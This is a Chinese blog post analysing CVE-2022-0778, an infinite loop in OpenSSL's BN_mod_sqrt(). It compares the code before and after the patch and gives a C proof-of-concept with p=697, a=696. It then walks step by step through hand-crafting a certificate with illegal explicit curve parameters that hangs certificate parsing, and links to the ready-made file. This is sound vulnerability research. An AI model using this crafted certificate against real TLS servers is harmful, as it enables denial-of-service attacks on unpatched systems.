本文介绍CVE-2022 0778漏洞及其复现方法，并精心构造了具有一个非法椭圆曲线参数的证书可以触发该漏洞。

本博客已迁移至CatBro's Blog，那是我自己搭建的个人博客，欢迎关注。本文链接

漏洞描述[1]

漏洞出自BN_mod_sqrt()接口函数，它用于计算模平方根，且期望参数p应该是个质数，但是函数内并没有进行检查，这导致内部可能出现无限循环。这个函数在解析如下格式的证书时会被用到：

• 证书包含压缩格式的椭圆曲线公钥时
• 证书带有显式椭圆曲线参数，其基点是压缩格式编码的

总之，在解析证书时需要对点坐标进行解压缩操作的就会调用到这个函数。所以外部可以通过精心构造一个具有非法的显式曲线参数的证书来触发无限循环，从而造成DoS拒绝服务攻击。

{% note default no-icon %}

官方补丁commit[2]

{% endnote %}

函数分析

我们先简单过一下这个函数的实现。实现函数签名如下，a是操作数，p是模数

BIGNUM *BN_mod_sqrt(BIGNUM *in, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx)

首先对p做了简单的检查，对p是偶数、1这两个显然不是质数的情况直接报错，对p为2的情况进行了特殊处理。

if (!BN_is_odd(p) || BN_abs_is_word(p, 1)) {
    if (BN_abs_is_word(p, 2)) {
    // ...
    }
    BNerr(BN_F_BN_MOD_SQRT, BN_R_P_IS_NOT_PRIME);
    return NULL;
}

接下来对a是0或1的特殊情况做了特殊处理

if (BN_is_zero(a) || BN_is_one(a)) {
    // ...
}

然后计算A := a mod p，就是计算非负余数

if (!BN_nnmod(A, a, p, ctx))

下面几行的字面意思是从p的第1位开始数有几个连续的0，其实是将|p| - 1表示成如下的格式：|p| - 1 == 2^e * q，即表示成2的幂次方的奇数倍，其中q是奇数。例如p为49，表示二进制是110001，那么e为4，q为3，49 - 1 == 2^4 * 3

    e = 1;
    while (!BN_is_bit_set(p, e))
        e++;

接下来对e等于1或2的简单情况进行特殊处理，因为不会走到无限循环，我们跳过

if (e == 1) {
}
if (e == 2) {
}

对于e > 2的情况，就需要老老实实用Tonelli/Shanks算法来计算了。首先需要找到一个不是平方数的y，且0 < y < |p|，因为不是重点我们跳过。

接下来计算q的值，将p右移e位就得到了q

     if (!BN_copy(q, p))
    // ...
    if (!BN_rshift(q, q, e))

y := (y ^ q) mod p，因为y是个非平方数，所以计算q次方可以得到一个阶为2^e的值。（Don't ask me why ，注释这么写的‍♂️）

if (!BN_mod_exp(y, y, q, p, ctx))

接下来是计算 x := a^((q-1)/2)

 if (!BN_rshift1(t, q))

 if (!BN_mod_exp(x, A, t, p, ctx))

下面两个计算b := a*x^2 (= a^q)

if (!BN_mod_sqr(b, x, p, ctx))

if (!BN_mod_mul(b, b, A, p, ctx))

然后计算x := a*x (= a^((q+1)/2))

if (!BN_mod_mul(x, x, A, p, ctx))

终于要进入我们最关心的循环结构了，这里有两层循环，死循环是发生在内层的循环中。我们来看下修改前后的代码的区别，下面的是有问题的循环代码：

// before
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
    goto end;
while (!BN_is_one(t)) {
    i++;
    if (i == e) {
        ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
        goto end;
    }
    if (!BN_mod_mul(t, t, t, p, ctx))
        goto end;
}

这个是修复后的循环代码：

// after
for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

乍一看好像没什么区别，只是把while循环改成了for循环。区别非常细微，主要有两点：

1. 结束循环的判断条件不同，前者是判断t是否为1来正常结束，在循环内判断i == e来异常结束；而后者是判断i < e来异常结束，循环中判断t是否为1来正常结束
2. 还有非常重要的一点区别，就是前者i为1的情况并不在循环中

问题就是由于这点细微的区别产生的，考虑这样一种情况，如下内层循环一开始e就小于等于i（比如e=1），那么i == e条件将永远不会满足。如果再使得t永远不等于1，那么就会进入死循环了。

对于第一次进入外层循环，e肯定是大于2的，不会进入死循环，但是别忘了在外层循环最后会把i赋值给e，如下所示：

 while (1) {
        // ...
         for (i = 1; i < e; i++) {
            // ...
        }
        /* t := y^2^(e - i - 1) */
        if (!BN_copy(t, y))
            goto end;
        for (j = e - i - 1; j > 0; j--) {
            if (!BN_mod_sqr(t, t, p, ctx))
                goto end;
        }
        if (!BN_mod_mul(y, t, t, p, ctx))  // y := t^2 = y^2^(e-i)
            goto end;
        if (!BN_mod_mul(x, x, t, p, ctx))  // x = x*t
            goto end;
        if (!BN_mod_mul(b, b, y, p, ctx))  // b = y^2^(e-i) y is the original
            goto end;
        e = i;
    }

所以结合这些条件，就可以尝试构造出能够进入死循环的攻击方式：

1. 挑选合适的a和p，使得b^2=1(mod p)，其中b是由a计算出来的，这样外层循环在第一次迭代时不会进入while内层循环，i的值就为1，于是外层循环第二次迭代时e就变成了1
2. 外层循环进行第二次迭代时，只要使得t != 1 (mod p)永远满足，就会进入死循环了

注意：第1个条件在p为正常的质数时也是会发生的，但如果p是合数那么第二条也将满足。

复现问题

要复现问题，其实就是挑选合适的参数a和p使得上面的条件成立。p的选取需要能够满通过函数前面的一些检查，不能是太明显的合数，必须是奇数，且e需要大于2，即二进制表示的p必须是…001形式。此外a的选取需要满足a == -1 (mod p)且b == -1 (mod p)，这样在第一次外层迭代后e就会设为1，使得第二次进入外层迭代进入死循环。

确定a和p需要一定的数学知识，需要了解Tonelli/Shanks算法的实现。我不是学数学的，没学过数论那些东西，所以要完全了解其数学原理需要花些时间。好在drago-96同学帮我们做了这个事情，他最终选取了p=697，a=696这个组合。有兴趣的可以看一下数学说明[3]。

有了a和p，然后写一个简单的测试程序就可以复现问题了

#include <openssl/bn.h>

int main() {
    BN_CTX *ctx;
    ctx = BN_CTX_new();
    BIGNUM *res, *a, *p;
    BN_CTX_start(ctx);
    res = BN_CTX_get(ctx);
    a = BN_CTX_get(ctx);
    p = BN_CTX_get(ctx);

    BN_dec2bn(&p, "697");
    BN_dec2bn(&a, "696");

    printf("p = %s\n", BN_bn2dec(p));
    printf("a = %s\n", BN_bn2dec(a));

    BIGNUM* check = BN_mod_sqrt(res, a, p, ctx);
    printf("%s\n", BN_bn2dec(res));

    return 0;
}

对于修复前的代码，程序执行后会进入死循环

$ ./sqrt
p = 697
a = 696

而修改后可以正常结束。

$ ./sqrt
p = 697
a = 696
0
$

构造非法证书

接下来我们来尝试构造一个非法的证书，使证书带有显式椭圆曲线参数，且基点是压缩格式编码的。然后我们将证书中曲线参数修改成我们想要的值。

首先我们需要创建一个ec密钥，因为我们想要证书中包含显式的曲线参数，所以我们在生成密钥时也选择带显式参数

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

接着为了方便起见，我们直接自签发一个证书。这里将输出格式设为DER也是为了方便我们后面的修改ASN1结构。

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

确认一下证书信息，其中包含了曲线参数信息：

$ openssl x509 -in cert.der -text -noout -inform DER
...
                Field Type: prime-field
                Prime:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff
                A:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fc
                B:
                    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                    60:4b
                Generator (compressed):
                    03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                    98:c2:96
                Order:
                    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                    63:25:51
...

其中的Prime、A、B、Generator就是我们需要修改的目标参数。那么我们应该将其改成什么呢？然后又通过什么方法进行修改呢？

首先，在实际动手我们先需要搞清楚这几个值是什么意思、需要满足什么关系。定义在有限域上的椭圆曲线满足如下方程

\[y^2 \equiv x^3+ax+b\quad (mod\ p)
\]

其中的a就是曲线参数A，b就是曲线参数B，p即为曲线参数Prime，a、b、p参数确定了一条椭圆曲线。解压缩点坐标就是根据x坐标来计算y坐标，从上面的公式可以看到这需要用到求平方根的运算：

\[y=\sqrt{x^3+ax+b}\quad (mod\ p)
\]

我们沿用之前使用的697/696组合，即此时 p = 697，\(x^3+ax+b=696\)。我们只要选择合适的a、b、x是后面那个等式成立就可以了。

我们令x=8，a=23，b=0，等式成立。

接下来就要着手修改我们的证书，徒手修改ASN1结构真的是要了我的老命，大家如果知道有什么方便的工具还请不吝赐教。因为这部分还没法自动化（至少目前没有），所以我就讲一下大概修改的方法。用到的工具主要是xxd转成hex格式进行编辑，完成之后再xxd -r转回去。

1. 你需要修改Prime、A、B、Generator4个目标字段的值

2. 因为ASN1是嵌套的结构，所以修改了内层长度之后，你还需要把外层的所以长度都进行相应的修正，这是个体力活。

3. 另外OpenSSL代码中会对ASN1_INTEGER进行padding格式的检查，所以Prime值的前面不能多余的0字节，所以我们必须修改Prime的长度

4. 而且OpenSSL还会对检查点字符串长度与Prime的长度的关系（对于压缩格式，点字符串的长度需要比Prime长度多1），这也是为什么我们将Genrator设置成030008，而不是0308的原因

5. 还有注意一点，就是xxd -r转回去之后可能会在文件末尾添加一个0a换行，你需要将其剔除。方法有很多，其中一种就是使用split命令。

我们先来看下证书的ASN1结构，划红线的部分都是我们需要修改的部分

$ openssl asn1parse -in cert.der -inform DER -i

Prime、A、B、Generator的目标值上面已经说了，相关长度的修改前后的值已经列在下表中了：

from(dec)

from(hex)

to(dec)

to(hex)

549

225

488

1e8

460

1cc

399

18f

266

10a

205

cd

227

e3

166

a6

215

d7

154

9a

44

2c

13

0d

33 Prime

21

2

02

33 Generator

21

3

03

具体的修改过程如下，其中编辑文本的步骤已省略：

$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# edit cert.der.hex
# ...
# complete
$ xxd -r cert.der.hex cert.der.new

到这里我们的证书就构造好了，现在来看看修改后的ASN1结构：

$ openssl asn1parse -in cert.der.new -inform DER -i

划红线的部分都已经被我们修改了，且证书的ASN1编码是正常的。

OK，现在我们来解析这个构造的非法证书试试，不出意外的话就会进入无限循环了。

openssl x509 -in cert.der.new -inform DER -text -noout

可以看到openssl进程的CPU占用是100%，且调用栈是在BN_mod_sqrt()函数之中。

如果恶意攻击方在与服务器进行SSL握手时使用类似这种精心构造的证书的话，服务器就会进入死循环，从而造成DoS攻击。

构造的证书以及中间过程产物已经上传Github[3:1]仓库，有需要的可以自行获取。

参考材料

---